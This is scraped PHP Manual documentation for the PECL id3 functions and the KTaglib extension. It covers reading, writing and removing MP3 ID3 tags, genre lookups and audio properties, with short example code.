id3_get_frame_long_name
id3_get_genre_id
ID3 Functions


Get the id for a genre

id3_get_frame_short_name
id3_get_genre_list
ID3 Functions
PHP Manual

id3_get_genre_id

(PECL id3 >= 0.1)

id3_get_genre_id — Get the id for a genre

Description

int id3_get_genre_id ( string $genre )

id3_get_genre_id() returns the id for a genre.

Parameters

genre

Genre name as string.

Return Values

The genre id or FALSE on errors.

Examples

Example #1 id3_get_genre_id() example

<?php
$id = id3_get_genre_id("Alternative");
echo $id;
?>

The above example will output:

20

See Also

  • id3_get_genre_name() - Get the name for a genre id
  • id3_get_genre_list() - Get all possible genre values

User Contributed Notes

There are no user contributed notes for this page.
id3_get_frame_short_name
id3_get_genre_list
ID3 Functions


Get all possible genre values

id3_get_genre_id
id3_get_genre_name
ID3 Functions
PHP Manual

id3_get_genre_list

(PECL id3 >= 0.1)

id3_get_genre_list — Get all possible genre values

Description

array id3_get_genre_list ( void )

id3_get_genre_list() returns an array containing all possible genres that may be stored in an ID3 tag. This list has been created by Eric Kemp and later extended by WinAmp.

This function is useful to provide you users a list of genres from which they may choose one. When updating the ID3 tag you will always have to specify the genre as an integer ranging from 0 to 147.

Return Values

Returns an array containing all possible genres that may be stored in an ID3 tag.

Examples

Example #1 id3_get_genre_list() example

<?php
$genres = id3_get_genre_list();
print_r($genres);
?>

The above example will output:

Array
(
    [0] => Blues
    [1] => Classic Rock
    [2] => Country
    [3] => Dance
    [4] => Disco
    [5] => Funk
    [6] => Grunge
    [7] => Hip-Hop
    [8] => Jazz
    [9] => Metal
    [10] => New Age
    [11] => Oldies
    [12] => Other
    [13] => Pop
    [14] => R&B
    [15] => Rap
    [16] => Reggae
    [17] => Rock
    [18] => Techno
    [19] => Industrial
    [20] => Alternative
    [21] => Ska
    [22] => Death Metal
    [23] => Pranks
    [24] => Soundtrack
    [25] => Euro-Techno
    [26] => Ambient
    [27] => Trip-Hop
    [28] => Vocal
    [29] => Jazz+Funk
    [30] => Fusion
    [31] => Trance
    [32] => Classical
    [33] => Instrumental
    [34] => Acid
    [35] => House
    [36] => Game
    [37] => Sound Clip
    [38] => Gospel
    [39] => Noise
    [40] => Alternative Rock
    [41] => Bass
    [42] => Soul
    [43] => Punk
    [44] => Space
    [45] => Meditative
    [46] => Instrumental Pop
    [47] => Instrumental Rock
    [48] => Ethnic
    [49] => Gothic
    [50] => Darkwave
    [51] => Techno-Industrial
    [52] => Electronic
    [53] => Pop-Folk
    [54] => Eurodance
    [55] => Dream
    [56] => Southern Rock
    [57] => Comedy
    [58] => Cult
    [59] => Gangsta
    [60] => Top 40
    [61] => Christian Rap
    [62] => Pop/Funk
    [63] => Jungle
    [64] => Native US
    [65] => Cabaret
    [66] => New Wave
    [67] => Psychadelic
    [68] => Rave
    [69] => Showtunes
    [70] => Trailer
    [71] => Lo-Fi
    [72] => Tribal
    [73] => Acid Punk
    [74] => Acid Jazz
    [75] => Polka
    [76] => Retro
    [77] => Musical
    [78] => Rock & Roll
    [79] => Hard Rock
    [80] => Folk
    [81] => Folk-Rock
    [82] => National Folk
    [83] => Swing
    [84] => Fast Fusion
    [85] => Bebob
    [86] => Latin
    [87] => Revival
    [88] => Celtic
    [89] => Bluegrass
    [90] => Avantgarde
    [91] => Gothic Rock
    [92] => Progressive Rock
    [93] => Psychedelic Rock
    [94] => Symphonic Rock
    [95] => Slow Rock
    [96] => Big Band
    [97] => Chorus
    [98] => Easy Listening
    [99] => Acoustic
    [100] => Humour
    [101] => Speech
    [102] => Chanson
    [103] => Opera
    [104] => Chamber Music
    [105] => Sonata
    [106] => Symphony
    [107] => Booty Bass
    [108] => Primus
    [109] => Porn Groove
    [110] => Satire
    [111] => Slow Jam
    [112] => Club
    [113] => Tango
    [114] => Samba
    [115] => Folklore
    [116] => Ballad
    [117] => Power Ballad
    [118] => Rhytmic Soul
    [119] => Freestyle
    [120] => Duet
    [121] => Punk Rock
    [122] => Drum Solo
    [123] => Acapella
    [124] => Euro-House
    [125] => Dance Hall
    [126] => Goa
    [127] => Drum & Bass
    [128] => Club-House
    [129] => Hardcore
    [130] => Terror
    [131] => Indie
    [132] => BritPop
    [133] => Negerpunk
    [134] => Polsk Punk
    [135] => Beat
    [136] => Christian Gangsta
    [137] => Heavy Metal
    [138] => Black Metal
    [139] => Crossover
    [140] => Contemporary C
    [141] => Christian Rock
    [142] => Merengue
    [143] => Salsa
    [144] => Thrash Metal
    [145] => Anime
    [146] => JPop
    [147] => SynthPop
)

See Also

  • id3_get_genre_name() - Get the name for a genre id
  • id3_get_genre_id() - Get the id for a genre

User Contributed Notes

There are no user contributed notes for this page.
id3_get_genre_id
id3_get_genre_name
ID3 Functions


Get the name for a genre id

id3_get_genre_list
id3_get_tag
ID3 Functions
PHP Manual

id3_get_genre_name

(PECL id3 >= 0.1)

id3_get_genre_name — Get the name for a genre id

Description

string id3_get_genre_name ( int $genre_id )

id3_get_genre_name() returns the name for a genre id.

Parameters

genre_id

An integer ranging from 0 to 147

Return Values

Returns the name as a string.

Examples

Example #1 id3_get_genre_name() example

<?php
$genre = id3_get_genre_name(20);
echo $genre;
?>

The above example will output:

Alternative

See Also

  • id3_get_genre_list() - Get all possible genre values
  • id3_get_genre_id() - Get the id for a genre

User Contributed Notes

There are no user contributed notes for this page.
id3_get_genre_list
id3_get_tag
ID3 Functions


Get all information stored in an ID3 tag

id3_get_genre_name
id3_get_version
ID3 Functions
PHP Manual

id3_get_tag

(PECL id3 >= 0.1)

id3_get_tag — Get all information stored in an ID3 tag

Description

array id3_get_tag ( string $filename [, int $version = ID3_BEST ] )

id3_get_tag() is used to get all information stored in the id3 tag of the specified file.

Parameters

filename

The path to the MP3 file

Instead of a filename you may also pass a valid stream resource

version

Allows you to specify the version of the tag as MP3 files may contain both, version 1.x and version 2.x tags

Since version 0.2 id3_get_tag() also supports ID3 tags of version 2.2, 2.3 and 2.4. To extract information from these tags, pass one of the constants ID3_V2_2, ID3_V2_3 or ID3_V2_4 as the second parameter. ID3 v2.x tags can contain a lot more information about the MP3 file than ID3 v1.x tags.

Return Values

Returns an associative array with various keys like: title, artist, ..

The key genre will contain an integer between 0 and 147. You may use id3_get_genre_name() to convert it to a human readable string.

Examples

Example #1 id3_get_tag() example

<?php
$tag = id3_get_tag( "path/to/example.mp3" );
print_r($tag);
?>

The above example will output something similar to:

Array
(
    [title] => DN-38416
    [artist] => Re:\Legion
    [album] => Reflections
    [year] => 2004
    [genre] => 19
)

Example #2 id3_get_tag() example

<?php
$tag = id3_get_tag( "path/to/example2.mp3", ID3_V2_3 );
print_r($tag);
?>

The above example will output something similar to:

Array
(
    [copyright] => Dirty Mac
    [originalArtist] => Dirty Mac
    [composer] => Marcus Götze
    [artist] => Dirty Mac
    [title] => Little Big Man
    [album] => Demo-Tape
    [track] => 5/12
    [genre] => (17)Rock
    [year] => 2001
)

See Also

  • id3_set_tag() - Update information stored in an ID3 tag
  • id3_remove_tag() - Remove an existing ID3 tag
  • id3_get_version() - Get version of an ID3 tag

User Contributed Notes

There are no user contributed notes for this page.
id3_get_genre_name
id3_get_version
ID3 Functions


Get version of an ID3 tag

id3_get_tag
id3_remove_tag
ID3 Functions
PHP Manual

id3_get_version

(PECL id3 >= 0.1)

id3_get_version — Get version of an ID3 tag

Description

int id3_get_version ( string $filename )

id3_get_version() retrieves the version(s) of the ID3 tag(s) in the MP3 file.

If a file contains an ID3 v1.1 tag, it always contains a 1.0 tag, as version 1.1 is just an extension of 1.0.

Parameters

filename

The path to the MP3 file

Instead of a filename you may also pass a valid stream resource

Return Values

Returns the version number of the ID3 tag of the file. As a tag can contain ID3 v1.x and v2.x tags, the return value of this function should be bitwise compared with the predefined constants ID3_V1_0, ID3_V1_1 and ID3_V2.

Examples

Example #1 id3_get_version() example

<?php
$version = id3_get_version( "path/to/example.mp3" );
if ($version & ID3_V1_0) {
    echo "Contains a 1.x tag\n";
}
if ($version & ID3_V1_1) {
    echo "Contains a 1.1 tag\n";
}
if ($version & ID3_V2) {
    echo "Contains a 2.x tag\n";
}
?>

The above example will output something similar to:

Contains a 1.x tag
Contains a 1.1 tag

See Also

  • id3_set_tag() - Update information stored in an ID3 tag
  • id3_get_tag() - Get all information stored in an ID3 tag
  • id3_remove_tag() - Remove an existing ID3 tag

User Contributed Notes

There are no user contributed notes for this page.
id3_get_tag
id3_remove_tag
ID3 Functions


Remove an existing ID3 tag

id3_get_version
id3_set_tag
ID3 Functions
PHP Manual

id3_remove_tag

(PECL id3 >= 0.1)

id3_remove_tag — Remove an existing ID3 tag

Description

bool id3_remove_tag ( string $filename [, int $version = ID3_V1_0 ] )

id3_remove_tag() is used to remove the information stored of an ID3 tag.

Parameters

filename

The path to the MP3 file

Instead of a filename you may also pass a valid stream resource

version

Allows you to specify the version of the tag as MP3 files may contain both, version 1.x and version 2.x tags.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 id3_remove_tag() example

<?php
$result = id3_remove_tag( "path/to/example.mp3", ID3_V1_0 );
if ($result === true) {
    echo "Tag succesfully removed\n";
}
?>

If the file is writable and contained a 1.0 tag, this will output:

Tag succesfully removed

Notes

Note: Currently id3_remove_tag() only supports version 1.0 and 1.1. If you choose to remove a 1.0 tag and the file contains a 1.1 tag, this tag will be removed, as v1.1 is only an extension of 1.0.

See Also

  • id3_set_tag() - Update information stored in an ID3 tag
  • id3_get_tag() - Get all information stored in an ID3 tag
  • id3_get_version() - Get version of an ID3 tag

User Contributed Notes

There are no user contributed notes for this page.
id3_get_version
id3_set_tag
ID3 Functions


Update information stored in an ID3 tag

id3_remove_tag
KTaglib
ID3 Functions
PHP Manual

id3_set_tag

(PECL id3 >= 0.1)

id3_set_tag — Update information stored in an ID3 tag

Description

bool id3_set_tag ( string $filename , array $tag [, int $version = ID3_V1_0 ] )

id3_set_tag() is used to change the information stored of an ID3 tag. If no tag has been present, it will be added to the file.

Parameters

filename

The path to the MP3 file

Instead of a filename you may also pass a valid stream resource

tag

An associative array of tag keys and values

The following keys may be used in the associative array:

Keys in the associative array
key | possible value | available in version
title | string with maximum of 30 characters | v1.0, v1.1
artist | string with maximum of 30 characters | v1.0, v1.1
album | string with maximum of 30 characters | v1.0, v1.1
year | 4 digits | v1.0, v1.1
genre | integer value between 0 and 147 | v1.0, v1.1
comment | string with maximum of 30 characters (28 in v1.1) | v1.0, v1.1
track | integer between 0 and 255 | v1.1

version

Allows you to specify the version of the tag as MP3 files may contain both, version 1.x and version 2.x tags

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 id3_set_tag() example

<?php
$data = array(
              "title" => "Re:Start",
              "artist" => "Re:\Legion",
              "comment" => "A nice track"
             );
$result = id3_set_tag( "path/to/example.mp3", $data, ID3_V1_0 );
if ($result === true) {
    echo "Tag succesfully updated\n";
}
?>

If the file is writable, this will output:

Tag succesfully updated

Notes

Note: Currently id3_set_tag() only supports version 1.0 and 1.1.

See Also

  • id3_remove_tag() - Remove an existing ID3 tag
  • id3_get_tag() - Get all information stored in an ID3 tag
  • id3_get_version() - Get version of an ID3 tag

User Contributed Notes

There are no user contributed notes for this page.
id3_remove_tag
KTaglib
ID3 Functions


KTaglib

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
  • Predefined Constants
  • KTaglib_MPEG_File — The KTaglib_MPEG_File class
    • KTaglib_MPEG_File::__construct — Opens a new file
    • KTaglib_MPEG_File::getAudioProperties — Returns an object that provides access to the audio properties
    • KTaglib_MPEG_File::getID3v1Tag — Returns an object representing an ID3v1 tag
    • KTaglib_MPEG_File::getID3v2Tag — Returns a ID3v2 object
  • KTaglib_MPEG_AudioProperties — The KTaglib_MPEG_AudioProperties class
    • KTaglib_MPEG_AudioProperties::getBitrate — Returns the bitrate of the MPEG file
    • KTaglib_MPEG_AudioProperties::getChannels — Returns the amount of channels of a MPEG file
    • KTaglib_MPEG_AudioProperties::getLayer — Returns the layer of a MPEG file
    • KTaglib_MPEG_AudioProperties::getLength — Returns the length of a MPEG file
    • KTaglib_MPEG_AudioProperties::getSampleBitrate — Returns the sample bitrate of a MPEG file
    • KTaglib_MPEG_AudioProperties::getVersion — Returns the version of a MPEG file
    • KTaglib_MPEG_AudioProperties::isCopyrighted — Returns the length of a MPEG file
    • KTaglib_MPEG_AudioProperties::isOriginal — Returns the length of a MPEG file
    • KTaglib_MPEG_AudioProperties::isProtectionEnabled — Returns the length of a MPEG file
  • KTaglib_Tag — The KTaglib_Tag class
    • KTaglib_Tag::getAlbum — Returns the title string from a ID3 tag
    • KTaglib_Tag::getArtist — Returns the artist string from a ID3 tag
    • KTaglib_Tag::getComment — Returns the comment from a ID3 tag
    • KTaglib_Tag::getGenre — Returns the genre from a ID3 tag
    • KTaglib_Tag::getTitle — Returns the title string from a ID3 tag
    • KTaglib_Tag::getTrack — Returns the track number from a ID3 tag
    • KTaglib_Tag::getYear — Returns the year from a ID3 tag
    • KTaglib_Tag::isEmpty — Returns true if the tag is empty
  • KTaglib_ID3v2_Tag — The KTaglib_ID3v2_Tag class
    • KTaglib_ID3v2_Tag::addFrame — Add a frame to the ID3v2 tag
    • KTaglib_ID3v2_Tag::getFrameList — Returns an array of ID3v2 frames, associated with the ID3v2 tag
  • KTaglib_ID3v2_Frame — The KTaglib_ID3v2_Frame class
    • KTaglib_ID3v2_Frame::getSize — Returns the size of the frame in bytes
    • KTaglib_ID3v2_Frame::__toString — Returns a string representation of the frame
  • KTaglib_ID3v2_AttachedPictureFrame — The KTaglib_ID3v2_AttachedPictureFrame class
    • KTaglib_ID3v2_AttachedPictureFrame::getDescription — Returns a description for the picture in a picture frame
    • KTaglib_ID3v2_AttachedPictureFrame::getMimeType — Returns the mime type of the picture
    • KTaglib_ID3v2_AttachedPictureFrame::getType — Returns the type of the image
    • KTaglib_ID3v2_AttachedPictureFrame::savePicture — Saves the picture to a file
    • KTaglib_ID3v2_AttachedPictureFrame::setMimeType — Set's the mime type of the picture
    • KTaglib_ID3v2_AttachedPictureFrame::setPicture — Sets the frame picture to the given image
    • KTaglib_ID3v2_AttachedPictureFrame::setType — Set the type of the image

User Contributed Notes

There are no user contributed notes for this page.
id3_set_tag
Introduction
Audio Formats Manipulation


Introduction

KTaglib is an object oriented binding to the taglib library from the KDE project used in projects like Amarok to read and write ID3 and Ogg tags. The library also provides access to audio information. The bindings are designed usually follow the underlying C++ API, but were changed whenever there is a more PHP-like way.

Note:

At the moment ktaglib is able to read and write ID3v1 and ID3v2 tags.

User Contributed Notes

There are no user contributed notes for this page.
KTaglib
Installing/Configuring
KTaglib


Installing/Configuring

Table of Contents

  • Requirements
  • Installation

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
KTaglib


Requirements

If you want to build ktaglib you need at least taglib 1.5 installed. To obtain the taglib see the » taglib project page. Windows DLL's are build static against taglib, therefore there is no need to have taglib installed.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/ktaglib.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

KTaglib uses class constants. Most of the constants are mappings to the according Taglib enums and constants.

KTaglib_MPEG_Header::Version1 (integer)
ID3 version is 1.0
KTaglib_MPEG_Header::Version2 (integer)
ID3 version is 2.0
KTaglib_MPEG_Header::Version2_5 (integer)
ID3 version is 2.5
KTaglib_ID3v2_AttachedPictureFrame::Other (integer)
Picture type Other
KTaglib_ID3v2_AttachedPictureFrame::FileIcon (integer)
Picture type FileIcon
KTaglib_ID3v2_AttachedPictureFrame::OtherFileIcon (integer)
Picture type OtherFileIcon
KTaglib_ID3v2_AttachedPictureFrame::FrontCover (integer)
Picture type FrontCover
KTaglib_ID3v2_AttachedPictureFrame::BackCover (integer)
Picture type BackCover
KTaglib_ID3v2_AttachedPictureFrame::LeafletPage (integer)
Picture type LeafletPage
KTaglib_ID3v2_AttachedPictureFrame::Media (integer)
Picture type Media
KTaglib_ID3v2_AttachedPictureFrame::LeadArtist (integer)
Picture type LeadArtist
KTaglib_ID3v2_AttachedPictureFrame::Artist (integer)
Picture type Artist
KTaglib_ID3v2_AttachedPictureFrame::Conductor (integer)
Picture type Condutor
KTaglib_ID3v2_AttachedPictureFrame::Band (integer)
Picture type Band
KTaglib_ID3v2_AttachedPictureFrame::Composer (integer)
Picture type Composer
KTaglib_ID3v2_AttachedPictureFrame::Lyricist (integer)
Picture type Lyricist
KTaglib_ID3v2_AttachedPictureFrame::RecordingLocation (integer)
Picture type RecordingLocation
KTaglib_ID3v2_AttachedPictureFrame::DuringRecording (integer)
Picture type DuringRecording
KTaglib_ID3v2_AttachedPictureFrame::DuringPerformance (integer)
Picture type DuringPerformance
KTaglib_ID3v2_AttachedPictureFrame::MovieScreenCapture (integer)
Picture type MovieScreenCapture
KTaglib_ID3v2_AttachedPictureFrame::ColouredFish (integer)
Picture type ColouredFish
KTaglib_ID3v2_AttachedPictureFrame::Illustration (integer)
Picture type Illustration
KTaglib_ID3v2_AttachedPictureFrame::BandLogo (integer)
Picture type BandLogo

User Contributed Notes

There are no user contributed notes for this page.
Installation
KTaglib_MPEG_File
KTaglib


The KTaglib_MPEG_File class

(No version information available, might only be in SVN)

Introduction

Represents an MPEG file. MPEG files can have ID3v1, ID3v2 tags and audio properties.

Class synopsis

KTaglib_MPEG_File {
/* Methods */
public KTaglib_MPEG_File getAudioProperties ( void )
public KTaglib_ID3v1_Tag getID3v1Tag ([ bool $create = false ] )
public KTaglib_ID3v2_Tag getID3v2Tag ([ bool $create = false ] )
}

Table of Contents

  • KTaglib_MPEG_File::__construct — Opens a new file
  • KTaglib_MPEG_File::getAudioProperties — Returns an object that provides access to the audio properties
  • KTaglib_MPEG_File::getID3v1Tag — Returns an object representing an ID3v1 tag
  • KTaglib_MPEG_File::getID3v2Tag — Returns a ID3v2 object

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
KTaglib_MPEG_File::__construct
KTaglib


Opens a new file

KTaglib_MPEG_File
KTaglib_MPEG_File::getAudioProperties
KTaglib_MPEG_File
PHP Manual

KTaglib_MPEG_File::__construct

(0.0.1)

KTaglib_MPEG_File::__construct — Opens a new file

Description

public KTaglib_MPEG_File::__construct() ( string $filename )

Opens a new MPEG file.

Parameters

filename

The file to read

Examples

Example #1 Opens a new MP3 file and read the title

<?php
$mpeg = new KTaglib_MPEG_File('example.mp3');
echo $mpeg->getID3v1Tag()->getTitle();
?>

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_MPEG_File
KTaglib_MPEG_File::getAudioProperties
KTaglib_MPEG_File


Returns an object that provides access to the audio properties

KTaglib_MPEG_File::__construct
KTaglib_MPEG_File::getID3v1Tag
KTaglib_MPEG_File
PHP Manual

KTaglib_MPEG_File::getAudioProperties

(0.0.1)

KTaglib_MPEG_File::getAudioProperties — Returns an object that provides access to the audio properties

Description

public KTaglib_MPEG_File KTaglib_MPEG_File::getAudioProperties ( void )

Returns an object that provides access to the audio properties of the mpeg file.

Return Values

Returns an KTaglib_MPEG_AudioProperties object or false.

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_MPEG_File::__construct
KTaglib_MPEG_File::getID3v1Tag
KTaglib_MPEG_File


Returns an object representing an ID3v1 tag

KTaglib_MPEG_File::getAudioProperties
KTaglib_MPEG_File::getID3v2Tag
KTaglib_MPEG_File
PHP Manual

KTaglib_MPEG_File::getID3v1Tag

(0.0.1)

KTaglib_MPEG_File::getID3v1Tag — Returns an object representing an ID3v1 tag

Description

public KTaglib_ID3v1_Tag KTaglib_MPEG_File::getID3v1Tag ([ bool $create = false ] )

Returns an object that represents an ID3v1 tag, which can be used to get information about the ID3v1 tag.

Return Values

Returns an KTaglib_MPEG_ID3v1Tag object or false if there is no ID3v1 tag.

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_MPEG_File::getAudioProperties
KTaglib_MPEG_File::getID3v2Tag
KTaglib_MPEG_File


Returns a ID3v2 object

KTaglib_MPEG_File::getID3v1Tag
KTaglib_MPEG_AudioProperties
KTaglib_MPEG_File
PHP Manual

KTaglib_MPEG_File::getID3v2Tag

(0.0.1)

KTaglib_MPEG_File::getID3v2Tag — Returns a ID3v2 object

Description

public KTaglib_ID3v2_Tag KTaglib_MPEG_File::getID3v2Tag ([ bool $create = false ] )

Returns a ID3v2 object for the mpeg file. If no ID3v2 Tag is present, an KTaglib_TagNotFoundException is thrown.

Return Values

Returns the KTaglib_ID3v2_Tag object of the MPEG file or false if there is no ID3v2 tag

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_MPEG_File::getID3v1Tag
KTaglib_MPEG_AudioProperties
KTaglib_MPEG_File


The KTaglib_MPEG_AudioProperties class

(No version information available, might only be in SVN)

Introduction

Represents the audio properties of a MPEG file, like length, bitrate or samplerate.

Class synopsis

KTaglib_MPEG_AudioProperties {
/* Methods */
public int KTaglib_MPEG_AudioProperties::getBitrate ( void )
public int KTaglib_MPEG_AudioProperties::getChannels ( void )
public int KTaglib_MPEG_AudioProperties::getLayer ( void )
public int KTaglib_MPEG_AudioProperties::getLength ( void )
public int KTaglib_MPEG_AudioProperties::getSampleBitrate ( void )
public int KTaglib_MPEG_AudioProperties::getVersion ( void )
public bool KTaglib_MPEG_AudioProperties::isCopyrighted ( void )
public bool KTaglib_MPEG_AudioProperties::isOriginal ( void )
public bool KTaglib_MPEG_AudioProperties::isProtectionEnabled ( void )
}

Table of Contents

  • KTaglib_MPEG_AudioProperties::getBitrate — Returns the bitrate of the MPEG file
  • KTaglib_MPEG_AudioProperties::getChannels — Returns the amount of channels of a MPEG file
  • KTaglib_MPEG_AudioProperties::getLayer — Returns the layer of a MPEG file
  • KTaglib_MPEG_AudioProperties::getLength — Returns the length of a MPEG file
  • KTaglib_MPEG_AudioProperties::getSampleBitrate — Returns the sample bitrate of a MPEG file
  • KTaglib_MPEG_AudioProperties::getVersion — Returns the version of a MPEG file
  • KTaglib_MPEG_AudioProperties::isCopyrighted — Returns the length of a MPEG file
  • KTaglib_MPEG_AudioProperties::isOriginal — Returns the length of a MPEG file
  • KTaglib_MPEG_AudioProperties::isProtectionEnabled — Returns the length of a MPEG file

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_MPEG_File::getID3v2Tag
KTaglib_MPEG_AudioProperties::getBitrate
KTaglib


Returns the bitrate of the MPEG file

KTaglib_MPEG_AudioProperties
KTaglib_MPEG_AudioProperties::getChannels
KTaglib_MPEG_AudioProperties
PHP Manual

KTaglib_MPEG_AudioProperties::getBitrate

(0.0.1)

KTaglib_MPEG_AudioProperties::getBitrate — Returns the bitrate of the MPEG file

Description

public int KTaglib_MPEG_AudioProperties::getBitrate ( void )

Returns the bitrate of the MPEG file

Return Values

Returns the bitrate as an integer

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_MPEG_AudioProperties
KTaglib_MPEG_AudioProperties::getChannels
KTaglib_MPEG_AudioProperties


Returns the amount of channels of a MPEG file

KTaglib_MPEG_AudioProperties::getBitrate
KTaglib_MPEG_AudioProperties::getLayer
KTaglib_MPEG_AudioProperties
PHP Manual

KTaglib_MPEG_AudioProperties::getChannels

(0.0.1)

KTaglib_MPEG_AudioProperties::getChannels — Returns the amount of channels of a MPEG file

Description

public int KTaglib_MPEG_AudioProperties::getChannels ( void )

Returns the amount of channels of the MPEG file

Return Values

Returns the channel count as an integer

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_MPEG_AudioProperties::getBitrate
KTaglib_MPEG_AudioProperties::getLayer
KTaglib_MPEG_AudioProperties


Returns the layer of a MPEG file

KTaglib_MPEG_AudioProperties::getChannels
KTaglib_MPEG_AudioProperties::getLength
KTaglib_MPEG_AudioProperties
PHP Manual

KTaglib_MPEG_AudioProperties::getLayer

(0.0.1)

KTaglib_MPEG_AudioProperties::getLayer — Returns the layer of a MPEG file

Description

public int KTaglib_MPEG_AudioProperties::getLayer ( void )

Returns the layer of the MPEG file (usually 3 for MP3).

Return Values

Returns the layer as an integer

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_MPEG_AudioProperties::getChannels
KTaglib_MPEG_AudioProperties::getLength
KTaglib_MPEG_AudioProperties


Returns the length of a MPEG file

KTaglib_MPEG_AudioProperties::getLayer
KTaglib_MPEG_AudioProperties::getSampleBitrate
KTaglib_MPEG_AudioProperties
PHP Manual

KTaglib_MPEG_AudioProperties::getLength

(0.0.1)

KTaglib_MPEG_AudioProperties::getLength — Returns the length of a MPEG file

Description

public int KTaglib_MPEG_AudioProperties::getLength ( void )

Returns the length of the MPEG file

Return Values

Returns the length as an integer

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_MPEG_AudioProperties::getLayer
KTaglib_MPEG_AudioProperties::getSampleBitrate
KTaglib_MPEG_AudioProperties


Returns the sample bitrate of a MPEG file

KTaglib_MPEG_AudioProperties::getLength
KTaglib_MPEG_AudioProperties::getVersion
KTaglib_MPEG_AudioProperties
PHP Manual

KTaglib_MPEG_AudioProperties::getSampleBitrate

(0.0.1)

KTaglib_MPEG_AudioProperties::getSampleBitrate — Returns the sample bitrate of a MPEG file

Description

public int KTaglib_MPEG_AudioProperties::getSampleBitrate ( void )

Returns the sample bitrate of the MPEG file

Return Values

Returns the sample bitrate as an integer

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_MPEG_AudioProperties::getLength
KTaglib_MPEG_AudioProperties::getVersion
KTaglib_MPEG_AudioProperties


Returns the version of a MPEG file

KTaglib_MPEG_AudioProperties::getSampleBitrate
KTaglib_MPEG_AudioProperties::isCopyrighted
KTaglib_MPEG_AudioProperties
PHP Manual

KTaglib_MPEG_AudioProperties::getVersion

(0.0.1)

KTaglib_MPEG_AudioProperties::getVersion — Returns the version of a MPEG file

Description

public int KTaglib_MPEG_AudioProperties::getVersion ( void )

Returns the version of the MPEG file header. The possible versions are defined in Tag_MPEG_Header (Version1, Version2, Version2.5).

Return Values

Returns the version

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_MPEG_AudioProperties::getSampleBitrate
KTaglib_MPEG_AudioProperties::isCopyrighted
KTaglib_MPEG_AudioProperties


Returns the length of a MPEG file

KTaglib_MPEG_AudioProperties::getVersion
KTaglib_MPEG_AudioProperties::isOriginal
KTaglib_MPEG_AudioProperties
PHP Manual

KTaglib_MPEG_AudioProperties::isCopyrighted

(0.0.1)

KTaglib_MPEG_AudioProperties::isCopyrighted — Returns the length of a MPEG file

Description

public bool KTaglib_MPEG_AudioProperties::isCopyrighted ( void )

Returns true if the MPEG file is copyrighted

Return Values

Returns true if the MPEG file is copyrighted

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_MPEG_AudioProperties::getVersion
KTaglib_MPEG_AudioProperties::isOriginal
KTaglib_MPEG_AudioProperties


Returns the length of a MPEG file

KTaglib_MPEG_AudioProperties::isCopyrighted
KTaglib_MPEG_AudioProperties::isProtectionEnabled
KTaglib_MPEG_AudioProperties
PHP Manual

KTaglib_MPEG_AudioProperties::isOriginal

(0.0.1)

KTaglib_MPEG_AudioProperties::isOriginal — Returns the length of a MPEG file

Description

public bool KTaglib_MPEG_AudioProperties::isOriginal ( void )

Returns true if the file is marked as the original file

Return Values

Returns true if the file is marked as the original file

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_MPEG_AudioProperties::isCopyrighted
KTaglib_MPEG_AudioProperties::isProtectionEnabled
KTaglib_MPEG_AudioProperties


Returns the length of a MPEG file

KTaglib_MPEG_AudioProperties::isOriginal
KTaglib_Tag
KTaglib_MPEG_AudioProperties
PHP Manual

KTaglib_MPEG_AudioProperties::isProtectionEnabled

(0.0.1)

KTaglib_MPEG_AudioProperties::isProtectionEnabled — Returns the length of a MPEG file

Description

public bool KTaglib_MPEG_AudioProperties::isProtectionEnabled ( void )

Returns true if protection mechanism (like DRM) are enabled for this file

Return Values

Returns true if protection mechanism (like DRM) are enabled for this file

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_MPEG_AudioProperties::isOriginal
KTaglib_Tag
KTaglib_MPEG_AudioProperties


The KTaglib_Tag class

(No version information available, might only be in SVN)

Introduction

Base class for ID3v1 or ID3v2 tags

Class synopsis

KTaglib_Tag {
/* Methods */
public string getAlbum ( void )
public string getArtist ( void )
public string getComment ( void )
public string getGenre ( void )
public string getTitle ( void )
public int getTrack ( void )
public int getYear ( void )
public bool isEmpty ( void )
}

Table of Contents

  • KTaglib_Tag::getAlbum — Returns the title string from a ID3 tag
  • KTaglib_Tag::getArtist — Returns the artist string from a ID3 tag
  • KTaglib_Tag::getComment — Returns the comment from a ID3 tag
  • KTaglib_Tag::getGenre — Returns the genre from a ID3 tag
  • KTaglib_Tag::getTitle — Returns the title string from a ID3 tag
  • KTaglib_Tag::getTrack — Returns the track number from a ID3 tag
  • KTaglib_Tag::getYear — Returns the year from a ID3 tag
  • KTaglib_Tag::isEmpty — Returns true if the tag is empty

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_MPEG_AudioProperties::isProtectionEnabled
KTaglib_Tag::getAlbum
KTaglib


Returns the title string from a ID3 tag

KTaglib_Tag
KTaglib_Tag::getArtist
KTaglib_Tag
PHP Manual

KTaglib_Tag::getAlbum

(0.0.1)

KTaglib_Tag::getAlbum — Returns the title string from a ID3 tag

Description

public string KTaglib_Tag::getAlbum ( void )

Returns the album string of an ID3 tag. This method is implemented in ID3v1 and ID3v2 tags.

Return Values

Returns the album string

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_Tag
KTaglib_Tag::getArtist
KTaglib_Tag


